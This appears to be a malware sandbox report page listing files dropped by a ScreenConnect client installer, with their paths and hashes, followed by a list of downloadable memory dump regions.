SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIEBB1.tmp

Path C:\Windows\Installer\MSIEBB1.tmp
Size 1.1MB
SHA256 c830e639fda14a51ab07b98aee13c039e1087b4e27ee7c2468ce0dd81c827b95
MD5 6c8fb63c0a9cc8361aa97c5b45476f9e
SHA1 da7869b4dc1e5c2396b785b9c05f3078c7ef0203
SHA512 3602c8f3c3631047cb0c4461a38b1343d6eb41110914de439844eb518351d6dce56a0547076f5a07af61ede6b07008597b0982817f2e8bc18bad717008c13103
SSDEEP 24576:eUUGGASkXvDxxNgG5HUYs6CXHyocKPYQYVTTFRCf0dZrUvLw3/1q:RGASeDuKnoHJyV/H007t3/1q
TLSH
T141352300B7F5803AF0FA3A701D24675109BD7D72A9B0C4CEAB55866D4F61BD1ABE8327
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CustomAction.config

Path C:\Windows\Installer\MSIEBB1.tmp-\CustomAction.config
Size 234B
SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
MD5 6f52ebea639fd7cefca18d9e5272463e
SHA1 b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3
SHA512 b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a
TLSH
T18CD0A70405D0FD1B5E231A2337524559FF34B1E290A44408B06F3A130A220CD4757317
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Windows\Installer\MSIEBB1.tmp-\ScreenConnect.Core.dll
Size 543KB
SHA256 600865076f4e6126dad2b3eff623bfb0ab8658ee2a287eed60599646e50b08d6
MD5 a80b7c959acae4f3b833c2b85713dc07
SHA1 e318c661eb222129039552e70af9ef57cee301d0
SHA512 b8c760c9785acd56b5c8d442ae1c9316de6418dbc1a31eda65e66191f8e060b07abdc2f4fc588e03c4ce2cdb537ee898faeab8aa5b9a2c68b56e21bd61e11962
SSDEEP 12288:mxzn3KCeQqm1mHw3TFvG5qm7ab26X/fj:gm88bg9/f
TLSH
T1AAC47E9133988B2AC5EF4B3BE470D9542A31E524B00EE75B2A99F5E51D8234B4E0C7F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Windows\Installer\MSIEBB1.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 7aab2b665585cba47fdc755f7f053cfb24185be64e9c45259746402d6abdb675
MD5 085a7998ea83a98cf6e356f97474286a
SHA1 9b54707cbf23caf558e9791bd63b779e10914647
SHA512 a16120b2a6a79dd53af42f496fac42908139459101f8fb65c943ac1449bcf0d811880ca1ea08021fb0148c4764a2628493fa4d1a78675fdaa862084b235825f9
SSDEEP 192:B8/Qp6lCJuV3jpXtyVNamVNG1YZfCrMmbfHJ7kjvLibuLd9NEFbox:G/cBJatXt2NaheUrMmb/FkjvLibuZfx
TLSH
T11032D60037DC973AE8BE0F799EB361910A71FB74A015DF2E18C891569C367449EA07A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Windows\Installer\MSIEBB1.tmp-\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 b5b2c2c2f2cb7ffc3393f29a1c450d7b8ea117a37e8319f7e5ffee1debfa1887
MD5 cb3512b071a487cce851e721f5760f83
SHA1 31bac62c98d33392f142c8ef1f86682453061ffa
SHA512 cb8a87fdf9ff31dfffeb02f12cfcb5f7c0f2862f85fc1783c4faa81ea8f19748aa31e1a19c8bba5137866236e4b9dc725fdae96f537751a17fc51edb401d097f
SSDEEP 24576:CZp+Fj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTM:wp+JkGYYpT0+TFiH7efP
TLSH
T18A85BD41E2C365F5D46B047888BF572AAA743C080325CAFB97D4BE396D33BC09A36756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DefaultIcon

Path C:\Windows\Installer\{70469D58-AB0D-76DD-C107-45DEE5B6318B}\DefaultIcon
Size 1KB
SHA256 87bed2d86c91b9f7d19adca1829df20881cbe9cc44638e073684d09c9b7cf11c
MD5 a8b8f09d92363e54230bd83bb6e6f553
SHA1 3c02161fa71951d60533cec49403fd7c199d06f8
SHA512 1c6aeac8a83e3457606f8e52fce03d1afc3cc4f3e50c0dea828a74f8eb95b6751a4b9b6b2196422a421257df17798ed2aef2d37012de7a7d5fccfa7e74677222
TLSH
T1421175DF26906C7DC43D1DB245878A68F8BF4CD914D7A1D370A1103A15602CA43283EE
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\user.config
Size 567B
SHA256 f3f35299345b0c28b615049b7c1ac3ae5ccb4002b44986effce5fb5071471757
MD5 4da6d4f1fae237dd299eeec5e95d4a02
SHA1 8dd72a3d3a4c3db5040301dba3c438cec5794190
SHA512 faba63bf4b0123c3d2921daf461875ca551fcab2667addec40ff956559b5fb56c94b0d10f6745e90752b0b4343bca4f9cef633c0aafd9c4628fdf4425534321e
TLSH
T188F024A930846E5A07B32E23C5124745EE721B9B1455609834AF6277AF305DB07A32DE
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.ClientSetup.exe

Path C:\Windows\SystemTemp\ScreenConnect\25.6.9.9400\ScreenConnect.ClientSetup.exe
Size 17.2MB
SHA256 2dba001b16e860b4b48c30a651cf490fe30ed73c2c932211cdc2ea2dacd9ae3c
MD5 b7e09968fc74d48c03b3eefaa4e5555f
SHA1 8e94b33489bd89990cecf556ca99fe98cae08406
SHA512 fa7ba065409821d75bf9656d389087987e57269c97f00c384a43e939f6b874e2fce0e9893b0cd042aa8b81752aa8786f1dab23228584dcaef54820f57daf153e
SSDEEP 393216:fVT1sZ/G53/0VT1sZ/TVT1sZ/EVT1sZ/cVT1sZ/UVT1sZ/zVT1sZ/HVT1sZ/SVTr:fx14c/0x147x148x14Ex148x14rx14fj
TLSH
T189071212B3FA5569E0FB1B38ED7986612935BC141B20C2AF4694B96D2D32FC0C972773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Windows\SystemTemp\ScreenConnect\25.8.3.9466\61dd44f91aa6990f\ScreenConnect.ClientSetup.msi
Size 14.8MB
SHA256 3352f977a98a3d72a99ff63479f8183ee5a36268ee8232c07d70ecefc37837cf
MD5 e47704eeb34f04c7080d5f3583418816
SHA1 b5c04e7cdbc3900e7e1c077d4da3d42dea7eb112
SHA512 c388a5ffc64c6fce21e61aa2ab343ddca80bfff426c3b5b17398c1ac5f6d4fb5534f38f09b8297b54cbd2c5dbd8506409305605d53740bde0ce95af3a7c17390
SSDEEP 393216:AVT1sZ/G53/0VT1sZ/TVT1sZ/EVT1sZ/cVT1sZ/UVT1sZ/zVT1sZ/HVT1sZ/SVTi:Ax14c/0x147x148x14Ex148x14rx14fm
TLSH
T14EF6222277FE552CF0F32B35BE3985A11C3ABC551E20D15E82A9791E2A71E80D4B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/880-39-0x0000000005D40000-0x0000000005D4A000-memory.dmp

Download

memory/880-35-0x0000000005D00000-0x0000000005D2E000-memory.dmp

Download

memory/880-47-0x0000000006080000-0x000000000622E000-memory.dmp

Download

memory/880-43-0x0000000005E40000-0x0000000005ECE000-memory.dmp

Download

memory/1092-112-0x0000000003D20000-0x0000000003D70000-memory.dmp

Download

memory/1092-98-0x0000000003E20000-0x0000000003FCE000-memory.dmp

Download

memory/1092-88-0x0000000001640000-0x0000000001658000-memory.dmp

Download

memory/1092-94-0x0000000003B40000-0x0000000003BCE000-memory.dmp

Download

memory/1092-116-0x0000000003FD0000-0x0000000004038000-memory.dmp

Download

memory/1680-146-0x0000000002500000-0x0000000002524000-memory.dmp

Download

memory/1680-144-0x0000000002420000-0x0000000002428000-memory.dmp

Download

memory/1680-147-0x0000000004B50000-0x0000000004CFE000-memory.dmp

Download

memory/1680-145-0x0000000004970000-0x00000000049FE000-memory.dmp

Download

memory/3620-4-0x00000000746D0000-0x0000000074E8C000-memory.dmp

Download

memory/3620-0-0x00000000746E2000-0x00000000746E3000-memory.dmp

Download

memory/3620-6-0x0000000006550000-0x00000000066FE000-memory.dmp

Download

memory/3620-5-0x00000000064D0000-0x00000000064F4000-memory.dmp

Download

memory/3620-15-0x00000000746D0000-0x0000000074E8C000-memory.dmp

Download

memory/3620-3-0x0000000006430000-0x00000000064BE000-memory.dmp

Download

memory/3620-10-0x00000000067C0000-0x0000000006852000-memory.dmp

Download

memory/3620-1-0x00000000024A0000-0x00000000024A8000-memory.dmp

Download

memory/3620-2-0x0000000002510000-0x0000000002518000-memory.dmp

Download

memory/3620-14-0x00000000746D0000-0x0000000074E8C000-memory.dmp

Download

memory/3620-12-0x00000000746D0000-0x0000000074E8C000-memory.dmp

Download

memory/3620-11-0x00000000746E2000-0x00000000746E3000-memory.dmp

Download

memory/3620-8-0x00000000746D0000-0x0000000074E8C000-memory.dmp

Download

memory/3620-9-0x00000000746D0000-0x0000000074E8C000-memory.dmp

Download

memory/3620-7-0x0000000006CC0000-0x000000000727A000-memory.dmp

Download

memory/3988-130-0x000000001B630000-0x000000001B6BE000-memory.dmp

Download

memory/3988-129-0x000000001B210000-0x000000001B278000-memory.dmp

Download

memory/3988-128-0x00000000005F0000-0x000000000068A000-memory.dmp

Download

memory/3988-131-0x000000001B870000-0x000000001BA1E000-memory.dmp

Download

memory/3988-133-0x000000001B1A0000-0x000000001B1B8000-memory.dmp

Download

memory/3988-134-0x000000001B1E0000-0x000000001B1F8000-memory.dmp

Download

memory/3988-132-0x000000001BBB0000-0x000000001BD38000-memory.dmp

Download

memory/4288-301-0x000000001B080000-0x000000001B0E8000-memory.dmp

Download

memory/4288-304-0x00000000026E0000-0x00000000026F8000-memory.dmp

Download

memory/4288-305-0x000000001B030000-0x000000001B048000-memory.dmp

Download

memory/4288-303-0x000000001B6D0000-0x000000001B87E000-memory.dmp

Download

memory/4288-302-0x000000001B490000-0x000000001B51E000-memory.dmp

Download

memory/4288-300-0x0000000000420000-0x00000000004BA000-memory.dmp

Download

memory/4360-180-0x0000000005B40000-0x0000000005CEE000-memory.dmp

Download

memory/4360-176-0x0000000003720000-0x00000000037AE000-memory.dmp

Download

memory/4360-172-0x0000000003680000-0x000000000368A000-memory.dmp

Download

memory/5860-263-0x0000000004470000-0x00000000044FE000-memory.dmp

Download

memory/5860-262-0x0000000004340000-0x0000000004358000-memory.dmp

Download

memory/5860-265-0x00000000045D0000-0x0000000004638000-memory.dmp

Download

memory/5860-264-0x00000000046B0000-0x000000000485E000-memory.dmp

Download